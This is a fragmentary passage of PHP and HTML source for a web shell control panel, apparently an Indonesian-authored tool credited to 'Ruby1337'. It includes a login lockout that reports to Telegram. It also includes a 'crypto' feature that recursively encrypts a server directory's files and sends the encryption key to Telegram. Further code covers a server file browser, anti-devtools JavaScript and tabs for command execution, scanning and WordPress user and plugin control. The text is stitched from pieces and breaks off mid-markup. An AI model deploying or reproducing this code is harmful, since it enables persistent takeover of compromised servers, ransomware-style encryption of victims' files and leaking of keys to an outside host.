$fails['count'] + 1 : 1; // MAKSIMAL 2 KALI PERCOBAAN if ($fails['count'] >= 2) { @file_put_contents($b_file, json_encode(array('exp' => time() + 315360000))); // 10 Tahun (Permanent) @file_put_contents($dev_file, json_encode(array('exp' => time() + 315360000))); @unlink($strike_file); // Generate AES-256-GCM Unban Key if (function_exists('openssl_encrypt')) { $raw_key = bin2hex(random_bytes(32)); // 64 char hex $iv = random_bytes(12); $tag = ''; $payload = $c_ip . '|' . $dev_id; $cipher = openssl_encrypt($payload, 'aes-256-gcm', hex2bin($raw_key), OPENSSL_RAW_DATA, $iv, $tag); if ($cipher !== false) { @file_put_contents($unban_file, $iv . $tag . $cipher); x_tg('IP & DEVICE PERMANENTLY BANNED', "Max attempts reached.\nUNBAN KEY: " . $raw_key . "\nDo not share this key."); } else { x_tg('BAN ERROR', 'Failed to generate AES key.'); } } // Langsung redirect ke halaman ban tanpa pesan 403 header('Location: ?'); exit; } else { @file_put_contents($strike_file, json_encode($fails)); } } } ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Login</title> <link rel="icon" href=[removed] &$manifest) use ($keyRaw) { return stealthEncFile($rp, $keyRaw, $manifest); }; stealthIterFiles($p, $fn, $ok, $fail, $files, $manifest); if ($ok > 0) { $crRes = "[+] encrypted $ok files" . ($fail ? " ($fail failed)" : ''); $tmpList = array(); foreach (array_slice($manifest, 0, 50) as $m) $tmpList[] = $m['n']; $crList = implode("\n", $tmpList); x_tg('CRYPTO SUCCESS', "Encrypted: $ok files\nKey: $keyB64", $cur); } else $crRes = '[-] nothing encrypted'; } else $crRes = '[-] invalid path'; } } if ($isAdmin && isset($_POST['dec_go']) && !empty($_POST['dpath']) && !empty($_POST['dkey'])) { $keyB64 = trim($_POST['dkey']); $keyRaw = base64_decode($keyB64, true); if ($keyRaw === false || strlen($keyRaw) !== 32) { $crRes = '[-] invalid key format'; } else { $p = realpath($_POST['dpath']); if ($p) { x_tg('CRYPTO DECRYPT', 'Path: ' . $p, $cur); $ok = 0; $fail = 0; $files = array(); if (is_dir($p)) { try { $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($p, FilesystemIterator::SKIP_DOTS)); foreach ($it as $f) { if (!$f->isFile()) continue; $r = stealthDecFile($f->getRealPath(), $keyRaw, null); if ($r !== false) { $ok++; $files[] = $r; } else $fail++; } } catch (Exception $e) {} } if ($ok > 0) { $crRes = "[+] decrypted $ok files > Success"; $crList = implode("\n", array_slice($files, 0, 50)); x_tg('CRYPTO DECRYPT SUCCESS', "Decrypted: $ok files", $cur); } else $crRes = '[-] nothing decrypted'; } else $crRes = '[-] invalid path'; } } $sys_disk = isset($sys_conf['disk']) ? $sys_conf['disk'] : 'N/A'; if (!isset($sys_conf['disk'])) { $df = @disk_free_space($cur); $dt = @disk_total_space($cur); if ($df === false) $df = @disk_free_space("/"); if ($dt === false) $dt = @disk_total_space("/"); if ($df !== false && $dt !== false) $sys_disk = fmtSize($df) . ' / ' . fmtSize($dt); } $selfName = basename(__FILE__); $files = array(); if (is_dir($cur)) { $scan = @scandir($cur); if (is_array($scan)) { foreach ($scan as $n) { if ($n === '.' || $n === '..') continue; $fp = rtrim($cur, DS) . DS . $n; $isDir = is_dir($fp); $ext = strtolower(pathinfo($n, PATHINFO_EXTENSION)); $icon = 'file'; $color = '#a88888'; if ($isDir) { $icon = 'folder'; $color = '#fbbf24'; } else { if (in_array($ext, array('php', 'html', 'js', 'css'))) { $icon = 'code'; $color = '#d4649c'; } elseif (in_array($ext, array('jpg', 'jpeg', 'png', 'gif', 'svg'))) { $icon = 'img'; $color = '#34d399'; } elseif (in_array($ext, array('zip', 'tar', 'gz', 'rar'))) { $icon = 'zip'; $color = '#a78bfa'; } } $sz = $isDir ? dirSizeFast($fp) : @filesize($fp); $szH = ($sz !== false) ? fmtSize($sz) : '-'; $perms = substr(sprintf('%o', @fileperms($fp)), -4); $own = '?'; if (function_exists('posix_getpwuid')) { $pw = @posix_getpwuid(@fileowner($fp)); $own = isset($pw['name']) ? $pw['name'] : '?'; } $files[] = array('n' => $n, 'fp' => $fp, 'd' => $isDir, 'i' => $icon, 'c' => $color, 'sz' => $szH, 'mt' => date('Y-m-d H:i', @filemtime($fp)), 'p' => $perms, 'o' => $own, 'self' => ($n === $selfName)); } } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0"> <title>{ Panel - Webshell }</title> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&family=JetBrains+Mono:wght@400;600&display=swap" rel="stylesheet"> <style> :root{--bg:#0a0203;--panel:rgba(30,5,8,.45);--border:rgba(139,0,0,.28);--primary:#dc143c;--glow:rgba(220,20,60,.3);--accent:#ff4466;--green:#88cc88;--red:#ff2244;--yellow:#ffbb66;--text:#e8d8d8;--dim:#8b5555;--mono:'JetBrains Mono',monospace;--wp:#21759B} *{margin:0;padding:0;box-sizing:border-box} body{font-family:'Inter',sans-serif;background:var(--bg);color:var(--text);padding:14px;min-height:100vh;background-image:radial-gradient(ellipse at 15 %,rgba(139,0,0,.12) 0%,transparent 50%),radial-gradient(ellipse at 85?%,rgba(220,20,60,.08) 0%,transparent 50%)} .container{max-width:1700px;margin:0 auto} .top-bar{background:var(--panel);backdrop-filter:blur(20px);padding:13px 20px;display:flex;justify-content:space-between;align-items:center;flex-wrap:wrap;gap:12px;margin-bottom:16px;border:1px solid var(--border)} .logo{font-size:20px;font-weight:800;background:linear-gradient(135deg,#8b0000,#dc143c,#ff4466);-webkit-background-clip:text;background-clip:text;color:transparent;display:flex;align-items:center;gap:9px;flex-wrap:wrap} .top-right{display:flex;gap:10px;align-items:center;flex-wrap:wrap} .clock{font-size:11px;background:rgba(0,0,0,.4);padding:5px 14px;border:1px solid var(--border);font-family:var(--mono);color:var(--text);display:flex;align-items:center;gap:6px} .creator{font-size:14px;font-weight:800} .creator .w{color:#fff;font-weight:800} .creator .y{color:#ffd700;font-weight:800} .creator .g{color:#4ade80;font-weight:800} .logout-btn{display:inline-flex;align-items:center;justify-content:center;width:34px;height:34px;background:linear-gradient(135deg,#660000,#992020);color:#ffd4d4;border:1px solid rgba(255,68,102,.25);border-radius:8px;transition:.2s;text-decoration:none} .logout-btn:hover{background:linear-gradient(135deg,#8b0000,#bb3030);transform:scale(1.05)} .status-grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(220px,1fr));gap:8px;margin-bottom:16px} .chip{background:var(--panel);padding:9px 14px;border:1px solid var(--border);display:flex;align-items:center;gap:9px} .chip b{color:#8b3a3a;font-size:9px;text-transform:uppercase;min-width:64px;font-family:var(--mono);letter-spacing:1px} .chip span{font-size:12px;word-break:break-all} .chip-icon{display:flex;align-items:center;justify-content:center;width:24px;height:24px;background:rgba(139,0,0,.15);border:1px solid rgba(139,0,0,.3);border-radius:4px;color:var(--primary);margin-right:4px} .icon-bar{display:flex;flex-wrap:wrap;gap:6px;justify-content:center;margin-bottom:16px;padding:12px;background:var(--panel);border:1px solid var(--border)} .ic-btn{display:flex;flex-direction:column;align-items:center;gap:4px;padding:9px 12px;cursor:pointer;transition:.2s;font-size:13px;color:var(--dim);min-width:66px;border:1px solid transparent} .ic-btn:hover{background:rgba(139,0,0,.25);color:#fff;border-color:var(--primary)} .ic-btn.active{background:linear-gradient(135deg,rgba(139,0,0,.5),rgba(220,20,60,.35));color:#fff;border-color:var(--primary);box-shadow:0 0 12px var(--glow)} .ic-btn span{font-size:8px;font-weight:700;text-transform:uppercase;letter-spacing:1px} .card{background:var(--panel);margin-bottom:14px;overflow:hidden;border:1px solid var(--border)} .card-header{background:rgba(0,0,0,.3);padding:11px 18px;font-weight:600;border-bottom:1px solid var(--border);display:flex;align-items:center;gap:9px;font-size:13px;flex-wrap:wrap} .card-body{padding:16px} input,select,textarea{background:rgba(0,0,0,.4);border:1px solid var(--border);padding:9px 13px;color:var(--text);width:100%;margin-bottom:9px;font-family:inherit;font-size:13px} input:focus,select:focus,textarea:focus{outline:none;border-color:var(--primary);box-shadow:0 0 0 2px var(--glow)} button,.btn{background:linear-gradient(135deg,#660000,#8b2020);border:1px solid rgba(255,68,102,.2);padding:7px 16px;color:#ffd4d4;font-weight:600;cursor:pointer;font-size:12px} button:hover{background:linear-gradient(135deg,#8b0000,#bb3030);border-color:var(--primary)} .ico-btn-sq{display:inline-flex;align-items:center;justify-content:center;width:32px;height:32px;border:none;border-radius:6px;cursor:pointer;transition:.15s;padding:0!important} .ico-btn-sq:hover{transform:translateY(-1px);box-shadow:0 2px 6px rgba(0,0,0,.35)} .flex{display:flex;flex-wrap:wrap;gap:9px;align-items:center;margin-bottom:12px} table{width:100%;border-collapse:collapse;font-size:12px} th{background:rgba(0,0,0,.35);padding:9px 7px;text-align:left;color:var(--dim);font-size:9px;text-transform:uppercase;border-bottom:1px solid var(--border);font-family:var(--mono);letter-spacing:1px} td{padding:8px 7px;border-bottom:1px solid rgba(139,0,0,.12);vertical-align:middle} tr:hover td{background:rgba(139,0,0,.08)} pre{background:rgba(0,0,0,.5);padding:13px;overflow-x:auto;font-size:12px;color:#c8a8a8;border:1px solid var(--border);max-height:500px;overflow-y:auto;margin-top:10px;font-family:var(--mono)} .msg{background:rgba(136,204,136,.1);border-left:3px solid var(--green);padding:10px 14px;margin-bottom:12px;color:#b8e8b8;font-size:12px} .crumb{color:var(--primary);cursor:pointer;padding:2px 6px;font-family:var(--mono);font-size:12px} .crumb:hover{background:rgba(139,0,0,.2);border-radius:3px} .crumb-sep{color:#5a1818;font-family:var(--mono);font-size:11px} .nav-ico{display:inline-flex;align-items:center;justify-content:center;width:26px;height:26px;background:rgba(139,0,0,.2);border:1px solid rgba(139,0,0,.3);border-radius:5px;cursor:pointer;transition:.15s;margin-right:2px} .nav-ico:hover{background:var(--primary);border-color:var(--primary);transform:scale(1.08)} .act-ico{display:inline-flex;align-items:center;justify-content:center;width:26px;height:26px;border-radius:5px;border:none;cursor:pointer;transition:.15s;text-decoration:none;margin-right:2px;padding:0!important} .act-ico:hover{transform:translateY(-1px)} .act-del{background:linear-gradient(135deg,#dc2626,#b91c1c)} .act-edit{background:linear-gradient(135deg,#2563eb,#1d4ed8)} .act-copy{background:linear-gradient(135deg,#0891b2,#0e7490)} .act-move{background:linear-gradient(135deg,#d97706,#b45309)} .act-dl{background:linear-gradient(135deg,#059669,#047857)} .act-chm{background:linear-gradient(135deg,#ca8a04,#a16207)} .act-ren{background:linear-gradient(135deg,#7c3aed,#6d28d9)} .ed-ico{display:inline-flex;align-items:center;justify-content:center;width:34px;height:34px;border-radius:6px;cursor:pointer;transition:.15s;text-decoration:none;padding:0!important;border:none;margin-right:6px} .ed-ico:hover{transform:translateY(-2px);box-shadow:0 3px 8px rgba(0,0,0,.4)} .search-wrap{position:relative;margin:2px 0 14px} .search-wrap svg{position:absolute;left:13px;top:50%;transform:translateY(-50%);width:15px;height:15px;stroke:var(--primary);pointer-events:none} .search-wrap input{padding-left:40px;margin:0;font-family:var(--mono)} .ed-info{background:rgba(0,0,0,.35);border:1px solid var(--border);padding:14px;margin-bottom:14px;border-radius:4px} .ed-info-row{display:flex;gap:10px;padding:5px 0;border-bottom:1px solid rgba(139,0,0,.08);font-size:12px} .ed-info-row:last-child{border-bottom:none} .ed-info-row b{color:var(--primary);min-width:110px;font-size:11px;text-transform:uppercase;font-family:var(--mono);letter-spacing:1px} .ed-info-row span{color:var(--text);word-break:break-all} .hidden{display:none!important} .dropzone{border:2px dashed rgba(220,20,60,.4);border-radius:8px;padding:40px;text-align:center;background:rgba(0,0,0,.25);cursor:pointer;transition:.2s;margin-bottom:12px} .dropzone:hover{border-color:var(--primary);background:rgba(139,0,0,.15)} .up-tabs{display:flex;gap:0;margin-bottom:12px;border-bottom:1px solid var(--border)} .up-tab{padding:8px 18px;cursor:pointer;font-size:12px;color:var(--dim);border-bottom:2px solid transparent;transition:.2s} .up-tab.active{color:var(--primary);border-bottom-color:var(--primary);font-weight:600} .up-pane{display:none} .up-pane.active{display:block} .cms-detail{background:rgba(0,0,0,.3);border:1px solid var(--border);border-radius:6px;padding:16px;margin-top:14px} .cms-detail h4{color:var(--primary);font-size:14px;margin:0 0 12px;display:flex;align-items:center;gap:8px} .cms-row{display:flex;gap:10px;padding:6px 0;border-bottom:1px solid rgba(139,0,0,.08);font-size:12px} .cms-row:last-child{border-bottom:none} .cms-row b{color:var(--primary);min-width:160px;font-size:10px;text-transform:uppercase;font-family:var(--mono);letter-spacing:.5px} .cms-row span{color:var(--text);word-break:break-all;font-family:var(--mono);font-size:11px} .cms-row span.hi{color:var(--green);font-weight:700} .cms-badge{display:inline-flex;align-items:center;gap:6px;padding:4px 12px;border-radius:6px;font-weight:800;font-size:13px;border:1px solid} .wp-tabs{display:flex;gap:0;margin-bottom:0;border-bottom:none} .wp-tab{flex:1;padding:12px 20px;cursor:pointer;font-size:13px;font-weight:800;text-transform:uppercase;letter-spacing:1.5px;border:1px solid rgba(33,117,155,.3);transition:.2s;text-align:center;user-select:none;display:flex;align-items:center;justify-content:center;gap:8px} .wp-tab.user-tab{background:linear-gradient(135deg,rgba(33,117,155,.12),rgba(33,117,155,.05));color:#467da6;border-color:rgba(33,117,155,.35)} .wp-tab.plug-tab{background:linear-gradient(135deg,rgba(19,94,150,.12),rgba(19,94,150,.05));color:#5ba3c9;border-color:rgba(19,94,150,.35)} .wp-tab.user-tab.active{background:linear-gradient(135deg,#21759B,#135e96);color:#fff;box-shadow:0 0 18px rgba(33,117,155,.4);border-color:#21759B} .wp-tab.plug-tab.active{background:linear-gradient(135deg,#135e96,#21759B);color:#fff;box-shadow:0 0 18px rgba(19,94,150,.4);border-color:#135e96} .wp-tab:not(.active):hover{filter:brightness(1.4)} .wp-pane{display:none;padding-top:14px} .wp-pane.active{display:block} .wp-ico-btn{display:inline-flex;align-items:center;justify-content:center;width:24px;height:24px;border:none;border-radius:4px;cursor:pointer;transition:.15s;padding:0!important} .wp-ico-btn:hover{transform:translateY(-1px);box-shadow:0 2px 6px rgba(0,0,0,.3)} .wp-btn-in{background:linear-gradient(135deg,#059669,#047857)} .wp-btn-key{background:linear-gradient(135deg,#ca8a04,#a16207)} .wp-btn-del{background:linear-gradient(135deg,#dc2626,#b91c1c)} .wp-btn-on{background:linear-gradient(135deg,#059669,#047857)} .wp-btn-off{background:linear-gradient(135deg,#d97706,#b45309)} .wp-inline-form{display:inline-flex!important;gap:3px;align-items:center} .wp-mini-input{margin:0!important;width:65px!important;padding:2px 5px!important;font-size:10px!important;border-radius:3px!important} @media(max-width:768px){ .status-grid{grid-template-columns:1fr 1fr} .top-bar{flex-direction:column;align-items:flex-start} .top-right{width:100%;justify-content:space-between} table{display:block;overflow-x:auto;white-space:nowrap} .card-header{flex-direction:column;align-items:flex-start} .ed-info-row{flex-direction:column;gap:2px} } </style> <?php if(!$isAdmin): ?> [removed] document.addEventListener('contextmenu', e => e.preventDefault()); document.addEventListener('keydown', function(e) { if (e.key === 'F12' || e.keyCode === 123) { e.preventDefault(); return false; } if (e.ctrlKey && e.shiftKey && (e.key === 'I' || e.key === 'J' || e.key === 'C' || e.keyCode === 73 || e.keyCode === 74 || e.keyCode === 67)) { e.preventDefault(); return false; } if (e.ctrlKey && (e.key === 'U' || e.key === 'S' || e.key === 'I' || e.key === 'Q' || e.keyCode === 85 || e.keyCode === 83 || e.keyCode === 73 || e.keyCode === 81)) { e.preventDefault(); return false; } }); [removed] <?php endif; ?> </head> <body>

<?= svgCat(30) ?> { Panel - Webshell }

<?= svgI('cal', 12, '#dc143c') ?> <?= svgI('clock', 12, '#dc143c') ?>

Dev : Ruby1337

<?= svgI('logout', 16, '#ffd4d4') ?>

<?= svgI('term', 14, '#fbbf24') ?>

Software<?= htmlspecialchars($sys_soft) ?>

<?= svgI('network', 14, '#2dd4bf') ?>

Server IP<?= htmlspecialchars($sys_sip) ?>

<?= svgI('user', 14, '#f472b6') ?>

Client IP<?= htmlspecialchars($sys_cip) ?>

<?= svgI('globe', 14, '#60a5fa') ?>

Domain<?= htmlspecialchars($sys_dom) ?>

<?= svgI('code', 14, '#f7df1e') ?>

PHP Version<?= htmlspecialchars($sys_php) ?>

<?= svgI('shield', 14, '#818cf8') ?>

User<?= htmlspecialchars($sys_user) ?>

<?= svgI('cpu', 14, '#4ade80') ?>

Host<?= htmlspecialchars($sys_host) ?>

<?= svgI('db', 14, '#a78bfa') ?>

Storage<?= htmlspecialchars($sys_disk) ?>

<?= svgI('folder', 20, '#fbbf24') ?>files

<?= svgI('term', 20, '#22c55e') ?>cmd

<?php if($isAdmin): ?>

<?= svgI('lock', 20, '#ff2244') ?>crypto

<?= svgI('shield', 20, '#2dd4bf') ?>cms

<?= svgI('search', 20, '#f97316') ?>scanner

<?= svgI('gear', 20, '#a78bfa') ?>config

<